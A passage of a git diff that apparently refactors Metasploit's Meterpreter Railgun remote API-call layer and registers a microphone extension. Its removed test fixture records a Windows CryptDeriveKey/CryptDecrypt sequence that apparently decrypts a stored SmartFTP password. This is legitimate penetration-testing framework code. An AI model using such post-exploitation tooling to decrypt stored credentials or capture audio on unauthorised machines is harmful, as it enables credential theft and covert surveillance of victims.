-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "phHash"=>1680128},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptHashData',
-        :params => [["LPVOID", "hHash", "in"], ["PWCHAR", "pbData", "in"], ["DWORD", "dwDataLen", "in"], ["DWORD", "dwFlags", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1680128, "SmartFTP", 16, 0],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA3\x19\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "S\x00m\x00a\x00r\x00t\x00F\x00T\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptHashData',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptDeriveKey',
-        :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hBaseData", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phKey", "inout"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1756800, 26625, 1680128, 8388608, 4],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x80\xCE\x1A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01h\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA3\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x04\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDeriveKey',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "p\xA3\x19\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "phKey"=>1680240},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptDecrypt',
-        :params => [["LPVOID", "hKey", "in"], ["LPVOID", "hHash", "in"], ["BOOL", "Final", "in"], ["DWORD", "dwFlags", "in"], ["PBLOB", "pbData", "inout"], ["PDWORD", "pdwDataLen", "inout"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1680240, 0, true, 0, "\x85\"\x97/\xCC|", 6],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00p\xA3\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x85\"\x97/\xCC|\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDecrypt',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "b\x00a\x00z\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "pbData"=>"b\x00a\x00z\x00", "pdwDataLen"=>6},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptDestroyHash',
-        :params => [["LPVOID", "hHash", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1680128],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA3\x19\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyHash',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptDestroyKey',
-        :params => [["LPVOID", "hKey", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1680240],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00p\xA3\x19\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyKey',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptReleaseContext',
-        :params => [["LPVOID", "hProv", "in"], ["DWORD", "dwFlags", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1756800, 0],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x80\xCE\x1A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptReleaseContext',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-    ]
-  end
-
-end
-
-end; end; end; end; end; end;
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb
index c3ed8f6c00..c2c863c5a0 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb
@@ -26,7 +26,7 @@
 require 'pp'
 require 'enumerator'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv'
-require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_helper'
+require 'rex/post/meterpreter/extensions/stdapi/railgun/library_helper'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/buffer_item'
 
 module Rex
@@ -39,13 +39,13 @@ module Railgun
 # A easier way to call multiple functions in a single request
 class MultiCaller
 
-    include DLLHelper
+    include LibraryHelper
 
     def initialize(client, parent, consts_mgr)
       @parent = parent
       @client = client
 
-      # needed by DLL helper
+      # needed by LibraryHelper
       @consts_mgr = consts_mgr
 
       if @client.native_arch == ARCH_X64
@@ -56,21 +56,22 @@ class MultiCaller
     end
 
     def call(functions)
-
       request = Packet.create_request('stdapi_railgun_api_multi')
       function_results = []
       layouts          = []
       functions.each do |f|
-        dll_name,funcname,args = f
-        dll_host = @parent.get_dll( dll_name )
+        lib_name, function, args = f
+        lib_host = @parent.get_library(lib_name)
 
-        if not dll_host
-          raise "DLL #{dll_name} has not been loaded"
+        if not lib_host
+          raise "Library #{lib_name} has not been loaded"
         end
 
-        function = dll_host.functions[funcname]
-        if not function
-          raise "DLL #{dll_name} function #{funcname} has not been defined"
+        unless function.instance_of? LibraryFunction
+          function = lib_host.functions[function]
+          if not function
+            raise "Library #{lib_name} function #{function} has not been defined"
+          end
         end
 
         raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
@@ -96,7 +97,7 @@ class MultiCaller
           end
 
           # we care only about out-only buffers
-          if param_desc[2] == "out"
+          if param_desc[2] == 'out'
             if !args[param_idx].class.kind_of? Integer
               raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes "
             end
@@ -122,11 +123,11 @@ class MultiCaller
           end
         end
 
-        tmp = assemble_buffer("in", function, args)
+        tmp = assemble_buffer('in', function, args)
         in_only_layout = tmp[0]
         in_only_buffer = tmp[1]
 
-        tmp = assemble_buffer("inout", function, args)
+        tmp = assemble_buffer('inout', function, args)
         inout_layout = tmp[0]
         inout_buffer = tmp[1]
 
@@ -146,41 +147,41 @@ class MultiCaller
           #puts "  processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})"
           buffer = nil
           # is it a pointer to a buffer on our stack
-          if ["PDWORD", "PWCHAR", "PCHAR", "PBLOB"].include? param_desc[0]
-            #puts "   pointer"
+          if ['PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include? param_desc[0]
+            #puts '   pointer'
             if args[param_idx] == nil # null pointer?
-              buffer = [0].pack(@native) # type: DWORD  (so the dll does not rebase it)
+              buffer = [0].pack(@native) # type: DWORD  (so the library does not rebase it)
               buffer += [0].pack(@native) # value: 0
-            elsif param_desc[2] == "in"
+            elsif param_desc[2] == 'in'
               buffer = [1].pack(@native)
               buffer += [in_only_layout[param_desc[1]].addr].pack(@native)
-            elsif param_desc[2] == "out"
+            elsif param_desc[2] == 'out'
               buffer = [2].pack(@native)
               buffer += [out_only_layout[param_desc[1]].addr].pack(@native)
-            elsif param_desc[2] == "inout"
+            elsif param_desc[2] == 'inout'
               buffer = [3].pack(@native)
               buffer += [inout_layout[param_desc[1]].addr].pack(@native)
             else
-              raise "unexpected direction"
+              raise 'unexpected direction'
             end
           else
-            #puts "   not a pointer"
+            #puts '   not a pointer'
             # it's not a pointer
             buffer = [0].pack(@native)
             case param_desc[0]
-              when "LPVOID", "HANDLE", "SIZE_T"
+              when 'LPVOID', 'HANDLE', 'SIZE_T'
                 num     = param_to_number(args[param_idx])
                 buffer += [num].pack(@native)
-              when "DWORD"
+              when 'DWORD'
                 num     = param_to_number(args[param_idx])
                 buffer += [num % 4294967296].pack(@native)
-              when "WORD"
+              when 'WORD'
                 num     = param_to_number(args[param_idx])
                 buffer += [num % 65536].pack(@native)
-              when "BYTE"
+              when 'BYTE'
                 num     = param_to_number(args[param_idx])
                 buffer += [num % 256].pack(@native)
-              when "BOOL"
+              when 'BOOL'
                 case args[param_idx]
                   when true
                     buffer += [1].pack('V')
@@ -207,7 +208,7 @@ class MultiCaller
         group.add_tlv(TLV_TYPE_RAILGUN_STACKBLOB, literal_pairs_blob)
         group.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_IN, in_only_buffer)
         group.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, inout_buffer)
-        group.add_tlv(TLV_TYPE_RAILGUN_DLLNAME, dll_host.dll_path)
+        group.add_tlv(TLV_TYPE_RAILGUN_LIBNAME, lib_host.library_path)
         group.add_tlv(TLV_TYPE_RAILGUN_FUNCNAME, function.remote_name)
         request.tlvs << group
 
@@ -221,9 +222,9 @@ class MultiCaller
       end
 
       functions.each do |f|
-        dll_name,funcname,args = f
-        dll_host = @parent.get_dll( dll_name )
-        function = dll_host.functions[funcname]
+        lib_name, function, args = f
+        lib_host = @parent.get_library(lib_name)
+        function = lib_host.functions[function] unless function.instance_of? LibraryFunction
         response = call_results.shift
         inout_layout, out_only_layout = layouts.shift
 
@@ -239,28 +240,28 @@ class MultiCaller
 
         # The hash the function returns
         return_hash = {
-          "GetLastError" => rec_last_error,
-          "ErrorMessage" => rec_err_msg
+          'GetLastError' => rec_last_error,
+          'ErrorMessage' => rec_err_msg
         }
 
         #process return value
         case function.return_type
-          when "LPVOID", "HANDLE"
+          when 'LPVOID', 'HANDLE'
             if( @native == 'Q<' )
-              return_hash["return"] = rec_return_value
+              return_hash['return'] = rec_return_value
             else
-              return_hash["return"] = rec_return_value % 4294967296
+              return_hash['return'] = rec_return_value % 4294967296
             end
-          when "DWORD"
-            return_hash["return"] = rec_return_value % 4294967296
-          when "WORD"
-            return_hash["return"] = rec_return_value % 65536
-          when "BYTE"
-            return_hash["return"] = rec_return_value % 256
-          when "BOOL"
-            return_hash["return"] = (rec_return_value != 0)
-          when "VOID"
-            return_hash["return"] = nil
+          when 'DWORD'
+            return_hash['return'] = rec_return_value % 4294967296
+          when 'WORD'
+            return_hash['return'] = rec_return_value % 65536
+          when 'BYTE'
+            return_hash['return'] = rec_return_value % 256
+          when 'BOOL'
+            return_hash['return'] = (rec_return_value != 0)
+          when 'VOID'
+            return_hash['return'] = nil
           else
             raise "unexpected return type: #{function.return_type}"
         end
@@ -275,13 +276,13 @@ class MultiCaller
           #puts "   #{param_name}"
           buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
           case buffer_item.datatype
-            when "PDWORD"
+            when 'PDWORD'
               return_hash[param_name] = buffer.unpack('V')[0]
-            when "PCHAR"
+            when 'PCHAR'
               return_hash[param_name] = asciiz_to_str(buffer)
-            when "PWCHAR"
+            when 'PWCHAR'
               return_hash[param_name] = uniz_to_str(buffer)
-            when "PBLOB"
+            when 'PBLOB'
               return_hash[param_name] = buffer
             else
               raise "unexpected type in out-only buffer of #{param_name}: #{buffer_item.datatype}"
@@ -292,16 +293,16 @@ class MultiCaller
         # process in-out buffers
         #puts "processing in-out buffers:"
         inout_layout.each_pair do |param_name, buffer_item|
-          #puts "   #{param_name}"
+          #puts '   #{param_name}'
           buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
           case buffer_item.datatype
-            when "PDWORD"
+            when 'PDWORD'
               return_hash[param_name] = buffer.unpack('V')[0]
-            when "PCHAR"
+            when 'PCHAR'
               return_hash[param_name] = asciiz_to_str(buffer)
-            when "PWCHAR"
+            when 'PWCHAR'
               return_hash[param_name] = uniz_to_str(buffer)
-            when "PBLOB"
+            when 'PBLOB'
               return_hash[param_name] = buffer
             else
               raise "unexpected type in in-out-buffer of #{param_name}: #{buffer_item.datatype}"
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb
index 59cbec58f9..aacafacb9b 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb
@@ -42,8 +42,8 @@ require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/util'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/const_manager'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/multicall'
-require 'rex/post/meterpreter/extensions/stdapi/railgun/dll'
-require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper'
+require 'rex/post/meterpreter/extensions/stdapi/railgun/library'
+require 'rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper'
 
 module Rex
 module Post
@@ -59,20 +59,24 @@ module Railgun
 class Railgun
 
   #
-  # Railgun::DLL's that have builtin definitions.
+  # Railgun::Library's that have builtin definitions.
   #
-  # If you want to add additional DLL definitions to be preloaded create a
+  # If you want to add additional library definitions to be preloaded create a
   # definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/$platform/'.
   # Naming is important and should follow convention.  For example, if your
-  # dll's name was "my_dll"
-  # file name:    def_my_dll.rb
-  # class name:   Def_my_dll
-  # entry below: 'my_dll'
+  # library's name was "my_library"
+  # file name:    def_my_library.rb
+  # class name:   Def_my_library
+  # entry below: 'my_library'
   #
-  BUILTIN_DLLS = {
+  BUILTIN_LIBRARIES = {
     'linux' => [
       'libc'
     ].freeze,
+    'osx' => [
+      'libc',
+      'libobjc'
+    ].freeze,
     'windows' => [
       'kernel32',
       'ntdll',
@@ -91,33 +95,34 @@ class Railgun
   }.freeze
 
   ##
-  # Returns a Hash containing DLLs added to this instance with #add_dll
-  # as well as references to any frozen cached dlls added directly in #get_dll
-  # and copies of any frozen dlls (added directly with #add_function)
-  # that the user attempted to modify with #add_function.
+  # Returns a Hash containing libraries added to this instance with #add_library
+  # as well as references to any frozen cached libraries added directly in
+  # #get_library and copies of any frozen libraries (added directly with
+  # #add_function) that the user attempted to modify with #add_function.
   #
-  # Keys are friendly DLL names and values are the corresponding DLL instance
-  attr_accessor :dlls
+  # Keys are friendly library names and values are the corresponding library instance
+  attr_accessor :libraries
 
   ##
   # Contains a reference to the client that corresponds to this instance of railgun
   attr_accessor :client
 
   ##
-  # These DLLs are loaded lazily and then shared amongst all railgun instances.
-  # For safety reasons this variable should only be read/written within #get_dll.
-  @@cached_dlls = {}
+  # These libraries are loaded lazily and then shared amongst all railgun
+  # instances. For safety reasons this variable should only be read/written
+  # within #get_library.
+  @@cached_libraries = {}
 
-  # if you are going to touch @@cached_dlls, wear protection
+  # if you are going to touch @@cached_libraries, wear protection
   @@cache_semaphore = Mutex.new
 
   def initialize(client)
     self.client = client
-    self.dlls = {}
+    self.libraries = {}
   end
 
-  def self.builtin_dlls
-    BUILTIN_DLLS[client.platform]
+  def self.builtin_libraries
+    BUILTIN_LIBRARIES[client.platform]
   end
 
   #
@@ -192,106 +197,109 @@ class Railgun
   end
 
   #
-  # Adds a function to an existing DLL definition.
+  # Adds a function to an existing library definition.
   #
-  # If the DLL definition is frozen (ideally this should be the case for all
-  # cached dlls) an unfrozen copy is created and used henceforth for this
+  # If the library definition is frozen (ideally this should be the case for all
+  # cached libraries) an unfrozen copy is created and used henceforth for this
   # instance.
   #
-  def add_function(dll_name, function_name, return_type, params, remote_name=nil, calling_conv="stdcall")
-
-    unless known_dll_names.include?(dll_name)
-      raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, "")}"
+  def add_function(lib_name, function_name, return_type, params, remote_name=nil, calling_conv='stdcall')
+    unless known_library_names.include?(lib_name)
+      raise "Library #{lib_name} not found. Known libraries: #{PP.pp(known_library_names, '')}"
     end
 
-    dll = get_dll(dll_name)
+    lib = get_library(lib_name)
 
-    # For backwards compatibility, we ensure the dll is thawed
-    if dll.frozen?
-      # Duplicate not only the dll, but its functions as well. Frozen status will be lost
-      dll = Marshal.load(Marshal.dump(dll))
+    # For backwards compatibility, we ensure the library is thawed
+    if lib.frozen?
+      # Duplicate not only the library, but its functions as well, frozen status will be lost
+      lib = Marshal.load(Marshal.dump(lib))
 
-      # Update local dlls with the modifiable duplicate
-      dlls[dll_name] = dll
+      # Update local libraries with the modifiable duplicate
+      libraries[lib_name] = lib
     end
 
-    dll.add_function(function_name, return_type, params, remote_name, calling_conv)
+    lib.add_function(function_name, return_type, params, remote_name, calling_conv)
   end
 
   #
-  # Adds a DLL to this Railgun.
+  # Adds a library to this Railgun.
   #
   # The +remote_name+ is the name used on the remote system and should be
-  # set appropriately if you want to include a path or the DLL name contains
+  # set appropriately if you want to include a path or the library name contains
   # non-ruby-approved characters.
   #
-  # Raises an exception if a dll with the given name has already been
+  # Raises an exception if a library with the given name has already been
   # defined.
   #
-  def add_dll(dll_name, remote_name=dll_name)
-
-    if dlls.has_key? dll_name
-      raise "A DLL of name #{dll_name} has already been loaded."
+  def add_library(lib_name, remote_name=lib_name)
+    if libraries.has_key? lib_name
+      raise "A library of name #{lib_name} has already been loaded."
     end
 
-    dlls[dll_name] = DLL.new(remote_name, constant_manager)
+    libraries[lib_name] = Library.new(remote_name, constant_manager)
   end
+  alias_method :add_dll, :add_library
 
-
-  def known_dll_names
-    return BUILTIN_DLLS[client.platform] | dlls.keys
+  def known_library_names
+    return BUILTIN_LIBRARIES[client.platform] | libraries.keys
   end
 
   #
-  # Attempts to provide a DLL instance of the given name. Handles lazy
-  # loading and caching.  Note that if a DLL of the given name does not
-  # exist, returns nil
+  # Attempts to provide a library instance of the given name. Handles lazy
+  # loading and caching. Note that if a library of the given name does not exist
+  # then nil is returned.
   #
-  def get_dll(dll_name)
-    # If the DLL is not local, we now either load it from cache or load it lazily.
-    # In either case, a reference to the dll is stored in the collection "dlls"
-    # If the DLL can not be found/created, no actions are taken
-    unless dlls.has_key? dll_name
-      # We read and write to @@cached_dlls and rely on state consistency
+  def get_library(lib_name)
+    # If the library is not local, we now either load it from cache or load it
+    # lazily. In either case, a reference to the library is stored in the
+    # collection "libraries". If the library can not be found/created, no
+    # actions are taken.
+    unless libraries.has_key? lib_name
+      # use a platform-specific name for caching to avoid conflicts with
+      # libraries that exist on multiple platforms, e.g. libc.
+      cached_lib_name = "#{client.platform}.#{lib_name}"
+      # We read and write to @@cached_libraries and rely on state consistency
       @@cache_semaphore.synchronize do
-        if @@cached_dlls.has_key? dll_name
-          dlls[dll_name] = @@cached_dlls[dll_name]
-        elsif BUILTIN_DLLS[client.platform].include? dll_name
+        if @@cached_libraries.has_key? cached_lib_name
+          libraries[lib_name] = @@cached_libraries[cached_lib_name]
+        elsif BUILTIN_LIBRARIES[client.platform].include? lib_name
           # I highly doubt this case will ever occur, but I am paranoid
-          if dll_name !~ /^\w+$/
-            raise "DLL name #{dll_name} is bad. Correct Railgun::BUILTIN_DLLS"
+          if lib_name !~ /^\w+$/
+            raise "Library name #{lib_name} is bad. Correct Railgun::BUILTIN_LIBRARIES['#{client.platform}']"
           end
 
-          require "rex/post/meterpreter/extensions/stdapi/railgun/def/#{client.platform}/def_#{dll_name}"
-          dll = Def.const_get('Def_' << dll_name).create_dll(constant_manager).freeze
+          require "rex/post/meterpreter/extensions/stdapi/railgun/def/#{client.platform}/def_#{lib_name}"
+          lib = Def.const_get("Def_#{client.platform}_#{lib_name}").create_library(constant_manager).freeze
 
-          @@cached_dlls[dll_name] = dll
-          dlls[dll_name] = dll
+          @@cached_libraries[cached_lib_name] = lib
+          libraries[lib_name] = lib
         end
       end
 
     end
 
-    return dlls[dll_name]
+    return libraries[lib_name]
   end
+  alias_method :get_dll, :get_library
 
   #
   # Fake having members like user32 and kernel32.
   # reason is that
   #   ...user32.MessageBoxW()
   # is prettier than
-  #   ...dlls["user32"].functions["MessageBoxW"]()
+  #   ...libraries["user32"].functions["MessageBoxW"]()
   #
-  def method_missing(dll_symbol, *args)
-    dll_name = dll_symbol.to_s
+  def method_missing(lib_symbol, *args)
+    lib_name = lib_symbol.to_s
 
-    unless known_dll_names.include? dll_name
-      raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, '')}"
+    unless known_library_names.include? lib_name
+      raise "Library #{lib_name} not found. Known libraries: #{PP.pp(known_library_names, '')}"
     end
 
-    dll = get_dll(dll_name)
+    lib = get_library(lib_name)
 
-    return DLLWrapper.new(dll, client)
+    return LibraryWrapper.new(lib, client)
   end
 
   #
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb
index d7af95babf..3edf14d271 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb
@@ -43,7 +43,7 @@ TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT =   TLV_META_TYPE_RAW   | (TLV_TYPE_EXTEN
 TLV_TYPE_RAILGUN_BACK_RET              =  TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
 TLV_TYPE_RAILGUN_BACK_ERR              =  TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
 
-TLV_TYPE_RAILGUN_DLLNAME               =  TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
+TLV_TYPE_RAILGUN_LIBNAME               =  TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
 TLV_TYPE_RAILGUN_FUNCNAME              =  TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
 TLV_TYPE_RAILGUN_MULTI_GROUP           =  TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
 
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb
index e4dd66ec7f..2104925972 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb
@@ -1,5 +1,5 @@
 # -*- coding: binary -*-
-require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_helper'
+require 'rex/post/meterpreter/extensions/stdapi/railgun/library_helper'
 
 module Rex
 module Post
@@ -14,7 +14,7 @@ module Railgun
 class  Util
 
   # Bring in some useful string manipulation utility functions
-  include DLLHelper
+  include LibraryHelper
 
   # Data type size info: http://msdn.microsoft.com/en-us/library/s3f49ktz(v=vs.80).aspx
   PRIMITIVE_TYPE_SIZES = {
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb
index 937d6d0a03..e01a32b145 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb
@@ -19,6 +19,7 @@ require 'rex/post/meterpreter/extensions/stdapi/sys/power'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/railgun'
 require 'rex/post/meterpreter/extensions/stdapi/ui'
 require 'rex/post/meterpreter/extensions/stdapi/webcam/webcam'
+require 'rex/post/meterpreter/extensions/stdapi/mic/mic'
 
 module Rex
 module Post
@@ -83,6 +84,10 @@ class Stdapi < Extension
           'name' => 'webcam',
           'ext'  => Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam.new(client)
         },
+        {
+          'name' => 'mic',
+          'ext'  => Rex::Post::Meterpreter::Extensions::Stdapi::Mic::Mic.new(client)
+        },
         {
           'name' => 'ui',
           'ext'  => UI.new(client)
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
index 4c2b183af6..00967838ab 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
@@ -390,31 +390,31 @@ class ProcessList < Array
       return Rex::Text::Table.new(opts)
     end
 
-    cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
-    # Arch and Session are specific to native Windows, PHP and Java can't do
